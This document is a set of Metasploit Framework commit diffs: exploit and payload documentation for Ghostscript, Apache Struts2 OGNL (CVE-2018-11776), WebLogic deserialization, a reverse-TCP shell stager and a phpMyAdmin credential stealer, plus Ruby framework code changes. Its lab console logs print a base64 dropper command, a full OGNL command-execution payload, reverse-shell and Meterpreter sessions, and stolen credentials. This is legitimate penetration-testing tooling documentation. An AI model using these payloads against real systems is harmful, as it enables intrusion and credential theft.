msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
disablepayloadhandler => false
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
wfsdelay => 3600
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
verbose => true
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -0,0 +1,155 @@
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
## Vulnerable Application
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:
1. From a stock Ubuntu VM, install docker:
```
sudo apt update && sudo apt install docker.io
```
2. Download a vulnerable Struts showcase application inside a docker container:
```
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
CONTAINER_ID=`sudo docker ps -l -q`
```
3. Now that the container is running, open a terminal inside of it:
```
sudo docker exec -it $CONTAINER_ID /bin/bash
```
4. From within the container, install your text editor of choice and modify the Struts configs:
```
sudo apt update && sudo apt install nano
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
```
5. Update the struts config to add this to above line #11:
```
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
```
6. Update the same struts config file to add this above line #78:
```
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
```
7. Still within the container, shutdown the environment:
```
/usr/local/tomcat/bin/shutdown.sh
```
8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
```
sudo docker start $CONTAINER_ID
```
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
```
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
```
## Verification Steps
Confirm that check functionality works:
- [ ] Install the application using the steps above.
- [ ] Start msfconsole.
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
- [ ] Set the RHOST.
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
- [ ] Confirm the target is *not* vulnerable: ```check```
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
- [ ] Set a valid ACTION: ```set ACTION help.action```
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```
Confirm that command execution functionality works:
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
- [ ] Set a command to be run: ```set CMD hostname```
- [ ] Run the exploit: ```run```
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
- [ ] You will not be given a shell (yet).
Confirm that payload upload and execution works:
- [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp```
- [ ] Configure `LHOST` and `RHOST` as necessary.
- [ ] Run the exploit: ```run```
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
## Options
**TARGETURI**
The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.
**ACTION**
The endpoint name. In the environment above, the endpoint is `help.action`.
## Scenarios
### Version of software and OS as applicable
Checking a vulnerable endpoint, as installed in the above steps:
```
msf > use exploit/multi/http/struts_namespace_rce
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
ACTION => help.action
msf5 exploit(multi/http/struts_namespace_rce) > check
[+] 192.168.199.135:32771 The target is vulnerable.
```
Running an arbitrary command on the above-described environment:
```
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
CMD => hostname
msf5 exploit(multi/http/struts_namespace_rce) > run
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*] Command ran. Output from command:
b3d9b350d9b6
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts_namespace_rce) >
```
Getting a Meterpreter session on the above-described environment:
```
msf5 > use exploit/multi/http/struts2_namespace_ognl
msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
msf5 exploit(multi/http/struts2_namespace_ognl) > run
[*] Started reverse TCP handler on 192.168.199.134:4444
[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
[+] Payload successfully dropped and executed.
[*] Sending stage (816260 bytes) to 192.168.199.135
[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
meterpreter >
```

View File

@ -26,10 +26,12 @@ msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121
srvhost => 172.22.222.121
msf5 exploit(multi/misc/weblogic_deserialize) > set srvport 8888
srvport => 8888
msf5 exploit(multi/misc/weblogic_deserialize) > set target 1
target => 1
msf5 exploit(multi/misc/weblogic_deserialize) > run
[*] Exploit running as background job 0.
msf5 exploit(multi/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.121:4444
msf5 exploit(multi/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.121:4444
[*] Sending stage (179779 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:49908) at 2018-08-08 17:53:07 -0500
sessions -i 1
@ -43,41 +45,39 @@ System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
meterpreter >
```
### Tested on Ubuntu 14.04 LTS x64 running Oracle Weblogic Server 10.3.6.0 on Sun SDK 1.6.0_29
```
msf5 > use exploit/windows/misc/weblogic_deserialize
msf5 exploit(windows/misc/weblogic_deserialize) > set rhosts 172.22.222.205
msf5 > use exploit/multi/misc/weblogic_deserialize
msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.205
rhosts => 172.22.222.205
msf5 exploit(windows/misc/weblogic_deserialize) > set lhost 172.22.222.197
lhost => 172.22.222.197
msf5 exploit(windows/misc/weblogic_deserialize) > set srvhost 172.22.222.197
srvhost => 172.22.222.197
msf5 exploit(windows/misc/weblogic_deserialize) > set verbose true
msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.207
srvhost => 172.22.222.207
msf5 exploit(multi/misc/weblogic_deserialize) > set lhost 172.22.222.207
lhost => 172.22.222.207
msf5 exploit(multi/misc/weblogic_deserialize) > set verbose true
verbose => true
msf5 exploit(windows/misc/weblogic_deserialize) > check
msf5 exploit(multi/misc/weblogic_deserialize) > check
[+] 172.22.222.205:7001 - Detected Oracle WebLogic Server Version: 10.3.6.0
[*] 172.22.222.205:7001 The target appears to be vulnerable.
msf5 exploit(windows/misc/weblogic_deserialize) > run
[*] Exploit running as background job 2.
msf5 exploit(windows/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.197:4444
msf5 exploit(multi/misc/weblogic_deserialize) > run
[*] Exploit running as background job 0.
msf5 exploit(multi/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.207:4444
[*] 172.22.222.205:7001 - Sending handshake...
[*] 172.22.222.205:7001 - Sending client object payload...
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
[*] 172.22.222.205:7001 - Sending payload to client: 172.22.222.205
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
[*] Command shell session 1 opened (172.22.222.197:4444 -> 172.22.222.205:35904) at 2018-08-28 10:59:20 -0500
[*] Command shell session 1 opened (172.22.222.207:4444 -> 172.22.222.205:37168) at 2018-08-30 06:10:31 -0500
[*] 172.22.222.205:7001 - Server stopped.
msf5 exploit(windows/misc/weblogic_deserialize) >
sessions -i 1
msf5 exploit(multi/misc/weblogic_deserialize) > sessions -i 1
[*] Starting interaction with 1...
whoami
msfdev
uname -a
Linux ubuntu 4.4.0-134-generic #160~14.04.1-Ubuntu SMP Fri Aug 17 11:07:07 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```

View File

@ -0,0 +1,127 @@
# Windows Command Shell
Reverse Ordinal TCP Stager is an unique windows payload for Metasploit Framework.
It is really small (<100 bytes), it uses the existing ws2_32.dll in memory in connect and load the next stage of the payload. It provides a shell on the target machine which can be used to achieve almost anything on the target pc.
## Vulnerable Application
This Meterpreter payload is suitable for the following environments:
* Windows x86
* Windows x64
## Usage
### As a payload for an exploit:
To check its compatibility with an exploit, select the exploit in the msf console and type the ```info``` command. The output will be similar to:
```
msf5 payload(windows/shell/reverse_tcp) > info
Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 283
Rank: Normal
Provided by:
spoonm <spoonm@no$email.com>
sf <stephen_fewer@harmonysecurity.com>
hdm <x@hdm.io>
skape <mmiller@hick.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Spawn a piped command shell (staged). Connect back to the attacker
```
If the platform field includes Windows, then windows/shell/reverse_ord_tcp can be used as the
payload.
To use at as a payload for an exploit, use the following commands:
1. In msfconsole, select an exploit module compatible with windows.
2. Configure the options for that exploit.
3. Then run the following command: ```set windows/shell/reverse_ord_tcp```
4. Set the ```LHOST``` option, to be the IP address that the payload should connect to.
5. Then run the command: ```exploit```.
If the exploit is successful, the payload will get executed.
### As a standalone executable
To use it as an executable, use the msfvenom tool. A typical example of doing this is as follows:
```
./msfvenom -p windows/shell/reverse_ord_tcp LHOST=192.168.23.1 LPORT=4444 -f exe -o /tmp/ordpayload.exe```
```
## Scenarios
The following commands are run on a Windows XP SP 2 English Machine:
```
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_ord_tcp
payload => windows/shell/reverse_ord_tcp
msf exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.3 yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_ord_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.56.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(windows/smb/ms08_067_netapi) > exploit
```
The above commands will result into the following scenario, leading a shell
on the target machine:
```
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.3:445 - Automatically detecting the target...
[*] 192.168.56.3:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.56.3:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.56.3:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.56.3
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.3:1034) at 2018-08-17 15:25:02 +0530
```

View File

@ -0,0 +1,48 @@
## Description
This post module gathers PhpMyAdmin Creds from target Linux machine.
* https://www.phpmyadmin.net/downloads/ [Download URL]
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use post/linux/gather/phpmyadmin_credsteal`
4. Do: `set SESSION [SESSION]`
5. Do: `run`
## Scenarios
```
msf5 > use multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (816260 bytes) to 192.168.37.226
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.226:34880) at 2018-09-06 08:49:52 -0500
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use post/linux/gather/phpmyadmin_credsteal
msf5 post(linux/gather/phpmyadmin_credsteal) > set session 2
session => 2
msf5 post(linux/gather/phpmyadmin_credsteal) > run
PhpMyAdmin Creds Stealer!
[+] PhpMyAdmin config found!
[+] Extracting creds
[+] User: admin
[+] Password: acoolpassword
[*] Storing credentials...
[+] Config file located at /Users/space/.msf4/loot/20180907081056_default_192.168.37.226_phpmyadmin_conf_580315.txt
[*] Post module execution completed
msf5 post(linux/gather/phpmyadmin_credsteal) >
```

View File

@ -78,6 +78,19 @@ class DataProxy
end
end
def delete_current_data_service
@data_services.each do |id, ds|
if ds == @current_data_service
if id == 1
raise "Unable to delete the local data service. Please use db_disconnect."
else
@data_services.delete(id)
@current_data_service = @data_services[1]
end
end
end
end
#
# Set the data service to be used
#
@ -185,6 +198,7 @@ class DataProxy
@error = 'disabled'
end
rescue => e
@error = e
raise "Unable to initialize data service: #{e.message}"
end
end
@ -193,6 +207,13 @@ class DataProxy
raise "Invalid data_service: #{data_service.class}, not of type Metasploit::Framework::DataService" unless data_service.is_a? (Metasploit::Framework::DataService)
raise 'Cannot register null data service data_service' unless data_service
raise 'Data Service already exists' if data_service_exist?(data_service)
# Raising an error for local DB causes startup to fail if there is a DB configured but we are unable to connect
# TODO: The check here shouldn't be dependent on if the data_service is local or not. We shouldn't
# connect to any data service if it is not online/active. This can likely be fixed by making a true
# LocalDataService instead of using DBManager.
unless data_service.is_local?
raise 'Data Service does not appear to be responding' unless data_service.active
end
end
def data_service_exist?(data_service)

View File

@ -39,7 +39,6 @@ module WorkspaceDataProxy
else
# This is mostly a failsafe to prevent bad things from happening. @current_workspace should always be set
# outside of here, but this will save us from crashes/infinite loops if that happens
warn "@current_workspace was not set. Setting to default_workspace: #{default_workspace.name}"
@current_workspace = default_workspace
end
rescue => e

View File

@ -22,6 +22,8 @@ class RemoteHTTPDataService
DELETE_REQUEST = 'DELETE'
PUT_REQUEST = 'PUT'
attr_reader :endpoint, :https_opts, :api_token
#
# @param [String] endpoint A valid http or https URL. Cannot be nil
#
@ -71,6 +73,10 @@ class RemoteHTTPDataService
'none'
end
def driver
'http'
end
#
# POST data to the HTTP endpoint and don't wait for the endpoint to process the data before getting a response
#
@ -289,7 +295,7 @@ class RemoteHTTPDataService
if @endpoint.is_a?(URI::HTTPS)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_PEER
unless @https_opts.empty?
if @https_opts && !@https_opts.empty?
if @https_opts[:skip_verify]
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
else

View File

@ -243,6 +243,14 @@ class Config < Hash
self.new.save(opts)
end
# Deletes the specified config group from the ini file
#
# @param group [String] The name of the group to remove
# @return [void]
def self.delete_group(group)
self.new.delete_group(group)
end
# Updates the config class' self with the default hash.
#
# @return [Hash] the updated Hash.
@ -424,6 +432,17 @@ class Config < Hash
ini.to_file
end
# Deletes the specified config group from the ini file
#
# @param group [String] The name of the group to remove
# @return [void]
def delete_group(group)
ini = Rex::Parser::Ini.new(config_file)
ini.delete(group)
ini.to_file
end
end
end

View File

@ -214,6 +214,9 @@ class ReadableText
# References
output << dump_references(mod, indent)
# AKA
output << dump_aka(mod, indent)
return output
end
@ -264,6 +267,9 @@ class ReadableText
# References
output << dump_references(mod, indent)
# AKA
output << dump_aka(mod, indent)
return output
end
@ -319,6 +325,9 @@ class ReadableText
# References
output << dump_references(mod, indent)
# AKA
output << dump_aka(mod, indent)
return output
end
@ -535,6 +544,27 @@ class ReadableText
output
end
# Dumps the aka names associated with the supplied module.
#
# @param mod [Msf::Module] the module.
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_aka(mod, indent = '')
output = ''
if mod.notes['AKA'].present?
output << "AKA:\n"
mod.notes['AKA'].each do |aka_name|
output << indent + aka_name + "\n"
end
output << "\n"
end
output
end
# Dumps the contents of a datastore.
#
# @param name [String] displayed as the table header.
@ -620,10 +650,12 @@ class ReadableText
'Indent' => indent,
'SortIndex' => 1)
framework.db.sessions.each do |session|
unless session.closed_at.nil?
row = create_mdm_session_row(session, show_extended)
tbl << row
if framework.db.active
framework.db.sessions.each do |session|
unless session.closed_at.nil?
row = create_mdm_session_row(session, show_extended)
tbl << row
end
end
end
@ -664,7 +696,7 @@ class ReadableText
end
if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << "(#{exploit_datastore['LURI']})"
row << "(#{session.exploit_datastore['LURI']})"
else
row << '?'
end

View File

@ -69,6 +69,13 @@ class CommandShell
"Command shell"
end
#
# Calls the class method
#
def type
self.class.type
end
##
# :category: Msf::Session::Provider::SingleCommandShell implementors
#

View File

@ -373,11 +373,11 @@ class Exploit < Msf::Module
end
#
# Performs last-minute sanity checking of auxiliary parameters. This method
# Performs last-minute sanity checking of exploit parameters. This method
# is called during automated exploitation attempts and allows an
# auxiliary module to filter bad attempts, obtain more information, and choose
# better parameters based on the available data. Returning anything that
# evaluates to "false" will cause this specific auxiliary attempt to
# exploit to filter bad targets, obtain more information, and choose
# better targets based on the available data. Returning anything that
# evaluates to "false" will cause this specific exploit attempt to
# be skipped. This method can and will change datastore values and
# may interact with the backend database.
#
@ -557,6 +557,7 @@ class Exploit < Msf::Module
reqs['BadChars'] = payload_badchars(explicit_target)
reqs['Append'] = payload_append(explicit_target)
reqs['AppendEncoder'] = payload_append_encoder(explicit_target)
reqs['DisableNops'] = payload_disable_nops(explicit_target)
reqs['MaxNops'] = payload_max_nops(explicit_target)
reqs['MinNops'] = payload_min_nops(explicit_target)
reqs['Encoder'] = datastore['ENCODER'] || payload_encoder(explicit_target)
@ -879,6 +880,19 @@ class Exploit < Msf::Module
p
end
#
# Whether NOP generation should be enabled or disabled
#
def payload_disable_nops(explicit_target = nil)
explicit_target ||= target
if (explicit_target and explicit_target.payload_disable_nops)
explicit_target.payload_disable_nops
else
payload_info['DisableNops']
end
end
#
# Maximum number of nops to use as a hint to the framework.
# Nil signifies that the framework should decide.

View File

@ -121,8 +121,5 @@ require 'msf/core/exploit/http/jboss'
# Kerberos Support
require 'msf/core/exploit/kerberos/client'
# Fortinet
require 'msf/core/exploit/fortinet'
# Other
require 'msf/core/exploit/windows_constants'

View File

@ -83,7 +83,7 @@ module Exploit::Remote::SocketServer
if (service)
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
self.service.close
self.service.stop
end
@ -164,6 +164,20 @@ protected
comm
end
def via_string_for_ip(ip, comm)
comm_used = comm
comm_used ||= Rex::Socket::SwitchBoard.best_comm(ip)
comm_used ||= Rex::Socket::Comm::Local
if comm_used.respond_to?(:type) && comm_used.respond_to?(:sid)
via = "via the #{comm_used.type} on session #{comm_used.sid}"
else
via = ""
end
via
end
attr_accessor :service # :nodoc:
end

View File

@ -1,8 +1,18 @@
module Msf
module Exploit::Remote::SSH
require 'rex/socket/ssh_factory'
def ssh_socket_factory
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
end
module Msf::Exploit::Remote::SSH
# Require most things so that modules using this will "just work"
require 'net/ssh'
require 'net/ssh/command_stream'
require 'rex/socket/ssh_factory'
require 'msf/core/exploit/ssh/auth_methods'
def ssh_socket_factory
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
end
# Finally patch in our custom auth methods:
# malformed-packet
# fortinet-backdoor
include Msf::Exploit::Remote::SSH::AuthMethods
end

View File

@ -1,13 +1,52 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::SSH::AuthMethods
# https://www.ietf.org/rfc/rfc4252.txt
# https://www.ietf.org/rfc/rfc4256.txt
#
# https://tools.ietf.org/rfc/rfc4252.txt
# https://tools.ietf.org/rfc/rfc4253.txt
#
class Net::SSH::Authentication::Methods::MalformedPacket < Net::SSH::Authentication::Methods::Abstract
def authenticate(service_name, username, password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (publickey)' }
require 'net/ssh'
# Corrupt everything after auth method
send_message(userauth_request(
=begin
string user name in ISO-10646 UTF-8 encoding [RFC3629]
string service name in US-ASCII
string "publickey"
boolean FALSE
string public key algorithm name
string public key blob
=end
username,
service_name,
'publickey',
Rex::Text.rand_text_english(8..42)
))
module Msf::Exploit::Remote::Fortinet
# SSH_MSG_DISCONNECT is queued
begin
message = session.next_message
rescue Net::SSH::Disconnect
debug { 'Received SSH_MSG_DISCONNECT' }
return true
end
if message && message.type == USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
return false
end
# We'll probably never hit this
false
end
end
#
# https://www.ietf.org/rfc/rfc4252.txt
# https://www.ietf.org/rfc/rfc4256.txt
#
class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
USERAUTH_INFO_REQUEST = 60
USERAUTH_INFO_RESPONSE = 61
@ -119,6 +158,6 @@ module Msf::Exploit::Remote::Fortinet
h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
[h]
end
end
end

View File

@ -104,6 +104,10 @@ module Exploit::Remote::TcpServer
end
raise e
end
via = via_string_for_ip(srvhost, comm)
hoststr = Rex::Socket.is_ipv6?(srvhost) ? "[#{srvhost}]" : srvhost
print_status("Started service listener on #{hoststr}:#{srvport} #{via}")
end
#

View File

@ -404,6 +404,7 @@ class Module
'Ref' => nil,
'Privileged' => false,
'License' => MSF_LICENSE,
'Notes' => {}
}.update(self.module_info)
self.module_store = {}
end

View File

@ -39,6 +39,14 @@ module Msf::Module::ModuleInfo
module_info['Name']
end
#
# Return the module's notes (including AKA and NOCVE descriptors).
#
def notes
module_info['Notes']
end
protected
#
@ -217,4 +225,4 @@ module Msf::Module::ModuleInfo
return info
end
end
end

View File

@ -24,7 +24,7 @@ class Msf::Module::Reference
end
#
# Compares references to see if their equal.
# Compares references to see if they're equal.
#
def ==(tgt)
return (tgt.to_s == to_s)
@ -115,8 +115,6 @@ class Msf::Module::SiteReference < Msf::Module::Reference
self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
elsif in_ctx_id == 'URL'
self.site = in_ctx_val.to_s
elsif in_ctx_id == 'AKA'
self.site = "Also known as: #{in_ctx_val}"
elsif in_ctx_id == 'LOGO'
self.site = "Logo: #{in_ctx_val}"
elsif in_ctx_id == 'SOUNDTRACK'

View File

@ -139,7 +139,7 @@ class Msf::Module::Target
self.name = name
self.opts = opts
self.save_registers = opts['SaveRegisters']
self.ret = opts['Ret'],
self.ret = opts['Ret']
self.default_options = opts['DefaultOptions']
if opts['Platform']
@ -219,6 +219,13 @@ class Msf::Module::Target
opts['Payload'] ? opts['Payload']['StackAdjustment'] : nil
end
#
# Whether NOP generation should be enabled or disabled
#
def payload_disable_nops
opts['Payload'] ? opts['Payload']['DisableNops'] : nil
end
#
# Payload max nops information for this target.
#

View File

@ -58,6 +58,7 @@ class Msf::Modules::External::Shim
end.join(",\n ")
meta[:capabilities] = mod.meta['capabilities']
meta[:notes] = transform_notes(mod.meta['notes'])
meta
end
@ -105,7 +106,6 @@ class Msf::Modules::External::Shim
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
render_template('single_scanner.erb', meta)
end
@ -138,4 +138,16 @@ class Msf::Modules::External::Shim
render_template('dos.erb', meta)
end
#
# In case certain notes are not properly capitalized in the external module definition,
# ensure that they are properly capitalized before rendering.
#
def self.transform_notes(notes)
notes.reduce({}) do |acc, (key, val)|
acc[key.upcase] = val
acc
end
end
end

View File

@ -5,3 +5,4 @@
<%= meta[:authors] %>
],
'License' => <%= meta[:license] %>,
'Notes' => <%= meta[:notes] %>,

View File

@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
<%= meta[:targets] %>
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> },
))
register_options([

View File

@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
<%= meta[:targets] %>
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }
'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> },
))
register_options([

View File

@ -49,6 +49,8 @@ class Obj
attr_reader :post_auth
# @return [Boolean]
attr_reader :default_credential
# @return [Hash]
attr_reader :notes
def initialize(module_instance, obj_hash = nil)
unless obj_hash.nil?
@ -92,6 +94,8 @@ class Obj
# Store whether a module has a check method
@check = module_instance.respond_to?(:check) ? true : false
@notes = module_instance.notes
# Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization
force_encoding(Encoding::UTF_8)
end
@ -121,7 +125,8 @@ class Obj
'ref_name' => @ref_name,
'check' => @check,
'post_auth' => @post_auth,
'default_credential' => @default_credential
'default_credential' => @default_credential,
'notes' => @notes
}.to_json(*args)
end
@ -170,6 +175,7 @@ class Obj
@check = obj_hash['check'] ? true : false
@post_auth = obj_hash['post_auth']
@default_credential = obj_hash['default_credential']
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
end
def sort_platform_string

View File

@ -6,7 +6,7 @@ require 'msf/core/modules/metadata'
module Msf::Modules::Metadata::Search
VALID_PARAMS =
%w[app author authors arch cve bid edb check date disclosure_date description full_name fullname mod_time
%w[aka app author authors arch cve bid edb check date disclosure_date description full_name fullname mod_time
name os platform path port rport rank ref ref_name reference references target targets text type]
#
@ -47,6 +47,8 @@ module Msf::Modules::Metadata::Search
regex = Regexp.new(Regexp.escape(search_term), true)
case keyword
when 'aka'
match = [keyword, search_term] if (module_metadata.notes['AKA'] || []).any? { |aka| aka =~ regex }
when 'app'
match = [keyword, search_term] if (search_term == "server" and module_metadata.is_server)
match = [keyword, search_term] if (search_term == "client" and module_metadata.is_client)
@ -121,7 +123,7 @@ module Msf::Modules::Metadata::Search
when 'target', 'targets'
